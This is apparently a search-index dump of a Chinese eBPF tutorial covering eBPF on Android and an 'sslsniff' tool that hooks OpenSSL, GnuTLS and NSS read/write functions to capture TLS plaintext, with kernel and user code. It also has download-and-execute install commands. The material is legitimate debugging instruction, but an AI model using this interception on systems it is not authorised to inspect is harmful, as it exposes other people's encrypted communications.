swapper/0\n09:07:47 0x400200020000bb01565811650f02000a 0xbb01565811650f02000a6aa0d9ac 18446635828348806592 3316433261 0 2546 2 7 2 49970 443 ChromiumNet\n09:07:47 0x400200020000bb01db794a690f02000a 0xbb01db794a690f02000aea2afb8e 18446635827774427776 3316535591 0 1469 2 7 2 37386 443 ChromiumNet 开始检测后在 Android Studio 模拟界面打开 Chrome 浏览器并访问百度页面： TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE FAMILY SPORT DPORT TASK\n07:46:58 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020066638144 192874641 0 3305 7 2 2 0 443 NetworkService\n07:46:58 0x40020002d28abb01494b6ebe0f02000a 0xd28abb01494b6ebe0f02000aeb6f2270 18446631020066638144 192921938 47297 3305 2 1 2 53898 443 NetworkService\n07:46:58 0x400700020000bb01000000000f02000a 0xbb01000000000f02000ae7e7e8b7 18446631020132433920 193111426 0 3305 7 2 2 0 443 NetworkService\n07:46:58 0x40020002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193124670 13244 3305 2 1 2 46240 443 NetworkService\n07:46:58 0x40010002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193185397 60727 3305 1 4 2 46240 443 NetworkService\n07:46:58 0x40040002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186122 724 3305 4 5 2 46240 443 NetworkService\n07:46:58 0x400500020000bb0179ff85e80f02000a 0xbb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186244 122 3305 5 7 2 46240 443 NetworkService\n07:46:59 0x40010002d01ebb01d0c52f5c0f02000a 0xd01ebb01d0c52f5c0f02000a51449c27 18446631020103553856 194110884 0 5130 1 8 2 53278 443 ThreadPoolForeg\n07:46:59 0x400800020000bb01d0c52f5c0f02000a 0xbb01d0c52f5c0f02000a51449c27 18446631020103553856 194121000 10116 3305 8 7 2 53278 443 NetworkService\n07:46:59 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020099513920 194603677 0 3305 7 2 2 0 443 NetworkService\n07:46:59 0x40020002d28ebb0182dd92990f02000a 0xd28ebb0182dd92990f02000aeb6f2270 18446631020099513920 194649313 45635 12 2 1 2 53902 443 ksoftirqd/0\n07:47:00 0x400700020000bb01000000000f02000a 0xbb01000000000f02000a26f6e878 18446631020132433920 195193350 0 3305 7 2 2 0 443 NetworkService\n07:47:00 0x40020002ba32bb01e0e09e3a0f02000a 0xba32bb01e0e09e3a0f02000a26f6e878 18446631020132433920 195206992 13642 0 2 1 2 47666 443 swapper/0\n07:47:00 0x400700020000bb01000000000f02000a 0xbb01000000000f02000ae7e7e8b7 18446631020132448128 195233125 0 3305 7 2 2 0 443 NetworkService\n07:47:00 0x40020002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195246569 13444 3305 2 1 2 46248 443 NetworkService\n07:47:00 0xf02000affff00000000000000000000 0x1aca06cffff00000000000000000000 18446631019225912320 195383897 0 947 7 2 10 0 80 Thread-11\n07:47:00 0x40010002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195421584 175014 3305 1 4 2 46248 443 NetworkService\n07:47:00 0x40040002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195422361 777 3305 4 5 2 46248 443 NetworkService\n07:47:00 0x400500020000bb0136cac8dd0f02000a 0xbb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195422450 88 3305 5 7 2 46248 443 NetworkService\n07:47:01 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aea2afb8e 18446631020099528128 196321556 0 1315 7 2 2 0 443 ChromiumNet","breadcrumbs":"在 Android 上使用 eBPF 程序 » 成功案例","id":"139","title":"成功案例"},"14":{"body":"在开始编写eBPF程序之前，我们需要准备一个合适的开发环境，并了解eBPF程序的基本开发流程。本部分将详细介绍这些内容。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » eBPF开发环境准备与基本开发流程","id":"14","title":"eBPF开发环境准备与基本开发流程"},"140":{"body":"opensnoop 例如 opensnoop 工具，可以在 Android 上成功构建，但运行报错： libbpf: failed to determine tracepoint 'syscalls/sys_enter_open' perf event ID: No such file or directory\nlibbpf: prog 'tracepoint__syscalls__sys_enter_open': failed to create tracepoint 'syscalls/sys_enter_open' perf event: No such file or directory\nlibbpf: prog 'tracepoint__syscalls__sys_enter_open': failed to auto-attach: -2\nfailed to attach skeleton\nError: BpfError(\"load and attach ebpf program failed\") 后经查看发现内核未开启 CONFIG_FTRACE_SYSCALLS 选项，导致无法使用 syscalls 的 tracepoint。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 一些可能的报错原因","id":"140","title":"一些可能的报错原因"},"141":{"body":"在 Android shell 中查看内核编译选项可以发现 CONFIG_DEBUG_INFO_BTF 默认是打开的，在此基础上 eunomia-bpf 项目提供的 example 已有一些能够成功运行的案例，例如可以监测 exec 族函数的执行和 tcp 连接的状态。 对于无法运行的一些，原因主要是以下两个方面： 内核编译选项未支持相关 eBPF 功能； eadb 打包的 Linux 环境较弱，缺乏必须依赖； 目前在 Android 系统中使用 eBPF 工具基本上仍然需要构建完整的 Linux 运行环境，但 Android 内核本身对 eBPF 的支持已较为全面，本次测试证明较高版本的 Android 内核支持 BTF 调试信息和依赖 CO-RE 的 eBPF 程序的运行。 Android 系统 eBPF 工具的发展需要官方新特性的加入，目前看来通过 Android APP 直接使用 eBPF 工具需要的工作量较大，同时由于 eBPF 工具需要 root 权限，普通 Android 用户的使用会面临较多困难。 如果希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 总结","id":"141","title":"总结"},"142":{"body":"https://source.android.google.cn/docs/core/architecture/kernel/bpf [1] : https://mp.weixin.qq.com/s/mul4n5D3nXThjxuHV7GpMA [3] : https://blog.seeflower.dev/archives/138/","breadcrumbs":"在 Android 上使用 eBPF 程序 » 参考","id":"142","title":"参考"},"143":{"body":"TODO","breadcrumbs":"使用 eBPF 追踪 HTTP 请求或其他七层协议 » http","id":"143","title":"http"},"144":{"body":"随着TLS在现代网络环境中的广泛应用，跟踪微服务RPC消息已经变得愈加棘手。传统的流量嗅探技术常常受限于只能获取到加密后的数据，导致无法真正观察到通信的原始内容。这种限制为系统的调试和分析带来了不小的障碍。 但现在，我们有了新的解决方案。使用 eBPF 技术，通过其能力在用户空间进行探测，提供了一种方法重新获得明文数据，使得我们可以直观地查看加密前的通信内容。然而，每个应用可能使用不同的库，每个库都有多个版本，这种多样性给跟踪带来了复杂性。 在本教程中，我们将带您了解一种跨多种用户态 SSL/TLS 库的 eBPF 追踪技术，它不仅可以同时跟踪 GnuTLS 和 OpenSSL 等用户态库，而且相比以往，大大降低了对新版本库的维护工作。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » eBPF 实践教程：使用 uprobe 捕获多种库的 SSL/TLS 明文数据","id":"144","title":"eBPF 实践教程：使用 uprobe 捕获多种库的 SSL/TLS 明文数据"},"145":{"body":"在深入本教程的主题之前，我们需要理解一些核心概念，这些概念将为我们后面的讨论提供基础。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 背景知识","id":"145","title":"背景知识"},"146":{"body":"SSL (Secure Sockets Layer): 由 Netscape 在 1990 年代早期开发，为网络上的两台机器之间提供数据加密传输。然而，由于某些已知的安全问题，SSL的使用已被其后继者TLS所替代。 TLS (Transport Layer Security): 是 SSL 的继任者，旨在提供更强大和更安全的数据加密方式。TLS 工作通过一个握手过程，在这个过程中，客户端和服务器之间会选择一个加密算法和相应的密钥。一旦握手完成，数据传输开始，所有数据都使用选择的算法和密钥加密。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » SSL 和 TLS","id":"146","title":"SSL 和 TLS"},"147":{"body":"Transport Layer Security (TLS) 是一个密码学协议，旨在为计算机网络上的通信提供安全性。它主要目标是通过密码学，例如证书的使用，为两个或更多通信的计算机应用程序提供安全性，包括隐私（机密性）、完整性和真实性。TLS 由两个子层组成：TLS 记录协议和TLS 握手协议。 握手过程 当客户端与启用了TLS的服务器连接并请求建立安全连接时，握手过程开始。握手允许客户端和服务器通过不对称密码来建立连接的安全性参数，完整流程如下： 初始握手 ：客户端连接到启用了TLS的服务器，请求安全连接，并提供它支持的密码套件列表（加密算法和哈希函数）。 选择密码套件 ：从提供的列表中，服务器选择它也支持的密码套件和哈希函数，并通知客户端已做出的决定。 提供数字证书 ：通常，服务器接下来会提供形式为数字证书的身份验证。此证书包含服务器名称、信任的证书授权机构（为证书的真实性提供担保）以及服务器的公共加密密钥。 验证证书 ：客户端在继续之前确认证书的有效性。 生成会话密钥 ：为了生成用于安全连接的会话密钥，客户端有以下两种方法： 使用服务器的公钥加密一个随机数（PreMasterSecret）并将结果发送到服务器（只有服务器才能使用其私钥解密）；双方然后使用该随机数生成一个独特的会话密钥，用于会话期间的数据加密和解密。 使用 Diffie-Hellman 密钥交换（或其变体椭圆曲线DH）来安全地生成一个随机且独特的会话密钥，用于加密和解密，该密钥具有前向保密的额外属性：即使在未来公开了服务器的私钥，也不能用它来解密当前的会话，即使第三方拦截并记录了会话。 一旦上述步骤成功完成，握手过程便结束，加密的连接开始。此连接使用会话密钥进行加密和解密，直到连接关闭。如果上述任何步骤失败，则TLS握手失败，连接将不会建立。 OSI模型中的TLS TLS 和 SSL 不完全适合 OSI 模型或 TCP/IP 模型的任何单一层次。TLS 在“某些可靠的传输协议（例如，TCP）之上运行”，这意味着它位于传输层之上。它为更高的层提供加密，这通常是表示层的功能。但是，使用TLS 的应用程序通常视其为传输层，即使使用TLS的应用程序必须积极控制启动 TLS 握手和交换的认证证书的处理。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » TLS 的工作原理","id":"147","title":"TLS 的工作原理"},"148":{"body":"eBPF (Extended Berkeley Packet Filter): 是一种内核技术，允许用户在内核空间中运行预定义的程序，不需要修改内核源代码或重新加载模块。它创建了一个桥梁，使得用户空间和内核空间可以交互，从而为系统监控、性能分析和网络流量分析等任务提供了无前例的能力。 uprobes 是eBPF的一个重要特性，允许我们在用户空间应用程序中动态地插入探测点，特别适用于跟踪SSL/TLS库中的函数调用。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » eBPF 和 uprobe","id":"148","title":"eBPF 和 uprobe"},"149":{"body":"SSL/TLS协议的实现主要依赖于用户态库。以下是一些常见的库： OpenSSL: 一个开源的、功能齐全的加密库，广泛应用于许多开源和商业项目中。 BoringSSL: 是Google维护的OpenSSL的一个分支，重点是简化和优化，适用于Google的需求。 GnuTLS: 是GNU项目的一部分，提供了SSL，TLS和DTLS协议的实现。与OpenSSL和BoringSSL相比，GnuTLS在API设计、模块结构和许可证上有所不同。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 用户态库","id":"149","title":"用户态库"},"15":{"body":"要开发eBPF程序，您需要安装以下软件和工具： Linux 内核：由于eBPF是内核技术，因此您需要具备较新版本的Linux内核（推荐4.8及以上版本），以支持eBPF功能。 LLVM 和 Clang：这些工具用于编译eBPF程序。安装最新版本的LLVM和Clang可以确保您获得最佳的eBPF支持。 eBPF 程序主要由两部分构成：内核态部分和用户态部分。内核态部分包含 eBPF 程序的实际逻辑，用户态部分负责加载、运行和监控内核态程序。 当您选择了合适的开发框架后，如BCC（BPF Compiler Collection）、libbpf、cilium/ebpf或eunomia-bpf等，您可以开始进行用户态和内核态程序的开发。以BCC工具为例，我们将介绍eBPF程序的基本开发流程： 安装BCC工具：根据您的Linux发行版，按照BCC官方文档的指南安装BCC工具和相关依赖。 编写eBPF程序（C语言）：使用C语言编写一个简单的eBPF程序，例如Hello World程序。该程序可以在内核空间执行并完成特定任务，如统计网络数据包数量。 编写用户态程序（Python或C等）：使用Python、C等语言编写用户态程序，用于加载、运行eBPF程序以及与之交互。在这个程序中，您需要使用BCC提供的API来加载和操作内核态的eBPF程序。 编译eBPF程序：使用BCC工具，将C语言编写的eBPF程序编译成内核可以执行的字节码。BCC会在运行时动态从源码编译eBPF程序。 加载并运行eBPF程序：在用户态程序中，使用BCC提供的API加载编译好的eBPF程序到内核空间，然后运行该程序。 与eBPF程序交互：用户态程序通过BCC提供的API与eBPF程序交互，实现数据收集、分析和展示等功能。例如，您可以使用BCC API读取eBPF程序中的map数据，以获取网络数据包统计信息。 卸载eBPF程序：当不再需要eBPF程序时，用户态程序应使用BCC API将其从内核空间卸载。 调试与优化：使用 bpftool 等工具进行eBPF程序的调试和优化，提高程序性能和稳定性。 通过以上流程，您可以使用BCC工具开发、编译、运行和调试eBPF程序。请注意，其他框架（如libbpf、cilium/ebpf和eunomia-bpf）的开发流程大致相似但略有不同，因此在选择框架时，请参考相应的官方文档和示例。 通过这个过程，你可以开发出一个能够在内核中运行的 eBPF 程序。eunomia-bpf 是一个开源的 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。它基于 libbpf 的 CO-RE 轻量级开发框架，支持通过用户态 WASM 虚拟机控制 eBPF 程序的加载和执行，并将预编译的 eBPF 程序打包为通用的 JSON 或 WASM 模块进行分发。我们会使用 eunomia-bpf 进行演示。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » 安装必要的软件和工具","id":"15","title":"安装必要的软件和工具"},"150":{"body":"OpenSSL 是一个广泛应用的开源库，提供了 SSL 和 TLS 协议的完整实现，并广泛用于各种应用程序中以确保数据传输的安全性。其中，SSL_read() 和 SSL_write() 是两个核心的 API 函数，用于从 TLS/SSL 连接中读取和写入数据。本章节，我们将深入这两个函数，帮助你理解其工作机制。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » OpenSSL API 分析","id":"150","title":"OpenSSL API 分析"},"151":{"body":"当我们想从一个已建立的 SSL 连接中读取数据时，可以使用 SSL_read 或 SSL_read_ex 函数。函数原型如下： int SSL_read_ex(SSL *ssl, void *buf, size_t num, size_t *readbytes);\nint SSL_read(SSL *ssl, void *buf, int num); SSL_read 和 SSL_read_ex 试图从指定的 ssl 中读取最多 num 字节的数据到缓冲区 buf 中。成功时，SSL_read_ex 会在 *readbytes 中存储实际读取到的字节数。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 1. SSL_read 函数","id":"151","title":"1. SSL_read 函数"},"152":{"body":"当我们想往一个已建立的 SSL 连接中写入数据时，可以使用 SSL_write 或 SSL_write_ex 函数。 函数原型： int SSL_write_ex(SSL *s, const void *buf, size_t num, size_t *written);\nint SSL_write(SSL *ssl, const void *buf, int num); SSL_write 和 SSL_write_ex 会从缓冲区 buf 中将最多 num 字节的数据写入到指定的 ssl 连接中。成功时，SSL_write_ex 会在 *written 中存储实际写入的字节数。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 2. SSL_write 函数","id":"152","title":"2. SSL_write 函数"},"153":{"body":"在我们的例子中，我们使用 eBPF 来 hook ssl_read 和 ssl_write 函数，从而在数据读取或写入 SSL 连接时执行自定义操作。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » eBPF 内核态代码编写","id":"153","title":"eBPF 内核态代码编写"},"154":{"body":"首先，我们定义了一个数据结构 probe_SSL_data_t 用于在内核态和用户态之间传输数据： #define MAX_BUF_SIZE 8192\n#define TASK_COMM_LEN 16 struct probe_SSL_data_t { __u64 timestamp_ns; // 时间戳（纳秒） __u64 delta_ns; // 函数执行时间 __u32 pid; // 进程 ID __u32 tid; // 线程 ID __u32 uid; // 用户 ID __u32 len; // 读/写数据的长度 int buf_filled; // 缓冲区是否填充完整 int rw; // 读或写（0为读，1为写） char comm[TASK_COMM_LEN]; // 进程名 __u8 buf[MAX_BUF_SIZE]; // 数据缓冲区 int is_handshake; // 是否是握手数据\n};","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 数据结构","id":"154","title":"数据结构"},"155":{"body":"我们的目标是 hook 到 SSL_read 和 SSL_write 函数。我们定义了一个函数 SSL_exit 来处理这两个函数的返回值。该函数会根据当前进程和线程的 ID，确定是否需要追踪并收集数据。 static int SSL_exit(struct pt_regs *ctx, int rw) { int ret = 0; u32 zero = 0; u64 pid_tgid = bpf_get_current_pid_tgid(); u32 pid = pid_tgid >> 32; u32 tid = (u32)pid_tgid; u32 uid = bpf_get_current_uid_gid(); u64 ts = bpf_ktime_get_ns(); if (!trace_allowed(uid, pid)) { return 0; } /* store arg info for later lookup */ u64 *bufp = bpf_map_lookup_elem(&bufs, &tid); if (bufp == 0) return 0; u64 *tsp = bpf_map_lookup_elem(&start_ns, &tid); if (!tsp) return 0; u64 delta_ns = ts - *tsp; int len = PT_REGS_RC(ctx); if (len <= 0) // no data return 0; struct probe_SSL_data_t *data = bpf_map_lookup_elem(&ssl_data, &zero); if (!data) return 0; data->timestamp_ns = ts; data->delta_ns = delta_ns; data->pid = pid; data->tid = tid; data->uid = uid; data->len = (u32)len; data->buf_filled = 0; data->rw = rw; data->is_handshake = false; u32 buf_copy_size = min((size_t)MAX_BUF_SIZE, (size_t)len); bpf_get_current_comm(&data->comm, sizeof(data->comm)); if (bufp != 0) ret = bpf_probe_read_user(&data->buf, buf_copy_size, (char *)*bufp); bpf_map_delete_elem(&bufs, &tid); bpf_map_delete_elem(&start_ns, &tid); if (!ret) data->buf_filled = 1; else buf_copy_size = 0; bpf_perf_event_output(ctx, &perf_SSL_events, BPF_F_CURRENT_CPU, data, EVENT_SIZE(buf_copy_size)); return 0;\n} 这里的 rw 参数标识是读还是写。0 代表读，1 代表写。 数据收集流程 获取当前进程和线程的 ID，以及当前用户的 ID。 通过 trace_allowed 判断是否允许追踪该进程。 获取起始时间，以计算函数的执行时间。 尝试从 bufs 和 start_ns maps 中查找相关的数据。 如果成功读取了数据，则创建或查找 probe_SSL_data_t 结构来填充数据。 将数据从用户空间复制到缓冲区，并确保不超过预定的大小。 最后，将数据发送到用户空间。 注意：我们使用了两个用户返回探针 uretprobe 来分别 hook SSL_read 和 SSL_write 的返回： SEC(\"uretprobe/SSL_read\")\nint BPF_URETPROBE(probe_SSL_read_exit) { return (SSL_exit(ctx, 0)); // 0 表示读操作\n} SEC(\"uretprobe/SSL_write\")\nint BPF_URETPROBE(probe_SSL_write_exit) { return (SSL_exit(ctx, 1)); // 1 表示写操作\n}","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » Hook 函数","id":"155","title":"Hook 函数"},"156":{"body":"在 SSL/TLS 中，握手（handshake）是一个特殊的过程，用于在客户端和服务器之间建立安全的连接。为了分析此过程，我们 hook 到了 do_handshake 函数，以跟踪握手的开始和结束。 进入握手 我们使用 uprobe 为 do_handshake 设置一个 probe： SEC(\"uprobe/do_handshake\")\nint BPF_UPROBE(probe_SSL_do_handshake_enter, void *ssl) { u64 pid_tgid = bpf_get_current_pid_tgid(); u32 pid = pid_tgid >> 32; u32 tid = (u32)pid_tgid; u64 ts = bpf_ktime_get_ns(); u32 uid = bpf_get_current_uid_gid(); if (!trace_allowed(uid, pid)) { return 0; } /* store arg info for later lookup */ bpf_map_update_elem(&start_ns, &tid, &ts, BPF_ANY); return 0;\n} 这段代码的主要功能如下： 获取当前的 pid, tid, ts 和 uid。 使用 trace_allowed 检查进程是否被允许追踪。 将当前时间戳存储在 start_ns 映射中，用于稍后计算握手过程的持续时间。 退出握手 同样，我们为 do_handshake 的返回设置了一个 uretprobe： SEC(\"uretprobe/do_handshake\")\nint BPF_URETPROBE(probe_SSL_do_handshake_exit) { u32 zero = 0; u64 pid_tgid = bpf_get_current_pid_tgid(); u32 pid = pid_tgid >> 32; u32 tid = (u32)pid_tgid; u32 uid = bpf_get_current_uid_gid(); u64 ts = bpf_ktime_get_ns(); int ret = 0; /* use kernel terminology here for tgid/pid: */ u32 tgid = pid_tgid >> 32; /* store arg info for later lookup */ if (!trace_allowed(tgid, pid)) { return 0; } u64 *tsp = bpf_map_lookup_elem(&start_ns, &tid); if (tsp == 0) return 0; ret = PT_REGS_RC(ctx); if (ret <= 0) // handshake failed return 0; struct probe_SSL_data_t *data = bpf_map_lookup_elem(&ssl_data, &zero); if (!data) return 0; data->timestamp_ns = ts; data->delta_ns = ts - *tsp; data->pid = pid; data->tid = tid; data->uid = uid; data->len = ret; data->buf_filled = 0; data->rw = 2; data->is_handshake = true; bpf_get_current_comm(&data->comm, sizeof(data->comm)); bpf_map_delete_elem(&start_ns, &tid); bpf_perf_event_output(ctx, &perf_SSL_events, BPF_F_CURRENT_CPU, data, EVENT_SIZE(0)); return 0;\n} 此函数的逻辑如下： 获取当前的 pid, tid, ts 和 uid。 使用 trace_allowed 再次检查是否允许追踪。 查找 start_ns 映射中的时间戳，用于计算握手的持续时间。 使用 PT_REGS_RC(ctx) 获取 do_handshake 的返回值，判断握手是否成功。 查找或初始化与当前线程关联的 probe_SSL_data_t 数据结构。 更新数据结构的字段，包括时间戳、持续时间、进程信息等。 通过 bpf_perf_event_output 将数据发送到用户态。 我们的 eBPF 代码不仅跟踪了 ssl_read 和 ssl_write 的数据传输，还特别关注了 SSL/TLS 的握手过程。这些信息对于深入了解和优化安全连接的性能至关重要。 通过这些 hook 函数，我们可以获得关于握手成功与否、握手所需的时间以及相关的进程信息的数据。这为我们提供了关于系统 SSL/TLS 行为的深入见解，可以帮助我们在需要时进行更深入的分析和优化。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » Hook到握手过程","id":"156","title":"Hook到握手过程"},"157":{"body":"在 eBPF 的生态系统中，用户态和内核态代码经常协同工作。内核态代码负责数据的采集，而用户态代码则负责设置、管理和处理这些数据。在本节中，我们将解读上述用户态代码如何配合 eBPF 追踪 SSL/TLS 交互。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 用户态辅助代码分析与解读","id":"157","title":"用户态辅助代码分析与解读"},"158":{"body":"上述代码片段中，根据环境变量 env 的设定，程序可以选择针对三种常见的加密库（OpenSSL、GnuTLS 和 NSS）进行挂载。这意味着我们可以在同一个工具中对多种库的调用进行追踪。 为了实现这一功能，首先利用 find_library_path 函数确定库的路径。然后，根据库的类型，调用对应的 attach_ 函数来将 eBPF 程序挂载到库函数上。 if (env.openssl) { char *openssl_path = find_library_path(\"libssl.so\"); printf(\"OpenSSL path: %s\\n\", openssl_path); attach_openssl(obj, \"/lib/x86_64-linux-gnu/libssl.so.3\"); } if (env.gnutls) { char *gnutls_path = find_library_path(\"libgnutls.so\"); printf(\"GnuTLS path: %s\\n\", gnutls_path); attach_gnutls(obj, gnutls_path); } if (env.nss) { char *nss_path = find_library_path(\"libnspr4.so\"); printf(\"NSS path: %s\\n\", nss_path); attach_nss(obj, nss_path); } 这里主要包含 OpenSSL、GnuTLS 和 NSS 三个库的挂载逻辑。NSS 是为组织设计的一套安全库，支持创建安全的客户端和服务器应用程序。它们最初是由 Netscape 开发的，现在由 Mozilla 维护。其他两个库前面已经介绍过了，这里不再赘述。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 1. 支持的库挂载","id":"158","title":"1. 支持的库挂载"},"159":{"body":"具体的 attach 函数如下： #define __ATTACH_UPROBE(skel, binary_path, sym_name, prog_name, is_retprobe) \\ do { \\ LIBBPF_OPTS(bpf_uprobe_opts, uprobe_opts, .func_name = #sym_name, \\ .retprobe = is_retprobe); \\ skel->links.prog_name = bpf_program__attach_uprobe_opts( \\ skel->progs.prog_name, env.pid, binary_path, 0, &uprobe_opts); \\ } while (false) int attach_openssl(struct sslsniff_bpf *skel, const char *lib) { ATTACH_UPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_read_exit); if (env.latency && env.handshake) { ATTACH_UPROBE_CHECKED(skel, lib, SSL_do_handshake, probe_SSL_do_handshake_enter); ATTACH_URETPROBE_CHECKED(skel, lib, SSL_do_handshake, probe_SSL_do_handshake_exit); } return 0;\n} int attach_gnutls(struct sslsniff_bpf *skel, const char *lib) { ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_read_exit); return 0;\n} int attach_nss(struct sslsniff_bpf *skel, const char *lib) { ATTACH_UPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_read_exit); ATTACH_UPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_read_exit); return 0;\n} 我们进一步观察 attach_ 函数，可以看到它们都使用了 ATTACH_UPROBE_CHECKED 和 ATTACH_URETPROBE_CHECKED 宏来实现具体的挂载逻辑。这两个宏分别用于设置 uprobe（函数入口）和 uretprobe（函数返回）。 考虑到不同的库有不同的 API 函数名称（例如，OpenSSL 使用 SSL_write，而 GnuTLS 使用 gnutls_record_send），所以我们需要为每个库写一个独立的 attach_ 函数。 例如，在 attach_openssl 函数中，我们为 SSL_write 和 SSL_read 设置了 probe。如果用户还希望追踪握手的延迟 (env.latency) 和握手过程 (env.handshake)，那么我们还会为 SSL_do_handshake 设置 probe。 在eBPF生态系统中，perf_buffer是一个用于从内核态传输数据到用户态的高效机制。这对于内核态eBPF程序来说是十分有用的，因为它们不能直接与用户态进行交互。使用perf_buffer，我们可以在内核态eBPF程序中收集数据，然后在用户态异步地读取这些数据。我们使用 perf_buffer__poll 函数来读取内核态上报的数据，如下所示： while (!exiting) { err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS); if (err < 0 && err != -EINTR) { warn(\"error polling perf buffer: %s\\n\", strerror(-err)); goto cleanup; } err = 0; } 最后，在 print_event 函数中，我们将数据打印到标准输出： // Function to print the event from the perf buffer\nvoid print_event(struct probe_SSL_data_t *event, const char *evt) { ... if (buf_size != 0) { if (env.hexdump) { // 2 characters for each byte + null terminator char hex_data[MAX_BUF_SIZE * 2 + 1] = {0}; buf_to_hex((uint8_t *)buf, buf_size, hex_data); printf(\"\\n%s\\n\", s_mark); for (size_t i = 0; i < strlen(hex_data); i += 32) { printf(\"%.32s\\n\", hex_data + i); } printf(\"%s\\n\\n\", e_mark); } else { printf(\"\\n%s\\n%s\\n%s\\n\\n\", s_mark, buf, e_mark); } }\n} 完整的源代码可以在这里查看： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/30-sslsniff","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 2. 详细挂载逻辑","id":"159","title":"2. 详细挂载逻辑"},"16":{"body":"可以通过以下步骤下载和安装 eunomia-bpf： 下载 ecli 工具，用于运行 eBPF 程序： $ wget https://aka.pw/bpf-ecli -O ecli && chmod +x ./ecli\n$ ./ecli -h\nUsage: ecli [--help] [--version] [--json] [--no-cache] url-and-args 下载编译器工具链，用于将 eBPF 内核代码编译为 config 文件或 WASM 模块： $ wget https://github.com/eunomia-bpf/eunomia-bpf/releases/latest/download/ecc && chmod +x ./ecc\n$ ./ecc -h\neunomia-bpf compiler\nUsage: ecc [OPTIONS]  [EXPORT_EVENT_HEADER]\n.... 也可以使用 docker 镜像进行编译： $ docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest # 使用 docker 进行编译。`pwd` 应该包含 *.bpf.c 文件和 *.h 文件。\nexport PATH=PATH:~/.eunomia/bin\nCompiling bpf object...\nPacking ebpf object and config into /src/package.json...","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » 下载安装 eunomia-bpf 开发工具","id":"16","title":"下载安装 eunomia-bpf 开发工具"},"160":{"body":"要开始使用 sslsniff，首先要进行编译： make 完成后，请按照以下步骤操作：","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 编译与运行","id":"160","title":"编译与运行"},"161":{"body":"在一个终端中，执行以下命令来启动 sslsniff： sudo ./sslsniff","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 启动 sslsniff","id":"161","title":"启动 sslsniff"},"162":{"body":"在另一个终端中，执行： curl https://example.com 正常情况下，你会看到类似以下的输出：    Example Domain ...  
 ... 
  ","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 执行 CURL 命令","id":"162","title":"执行 CURL 命令"},"163":{"body":"当执行 curl 命令后，sslsniff 会显示以下内容： READ/RECV 0.132786160 curl 47458 1256 ----- DATA -----  ... 
 
Example Domain
 ... 
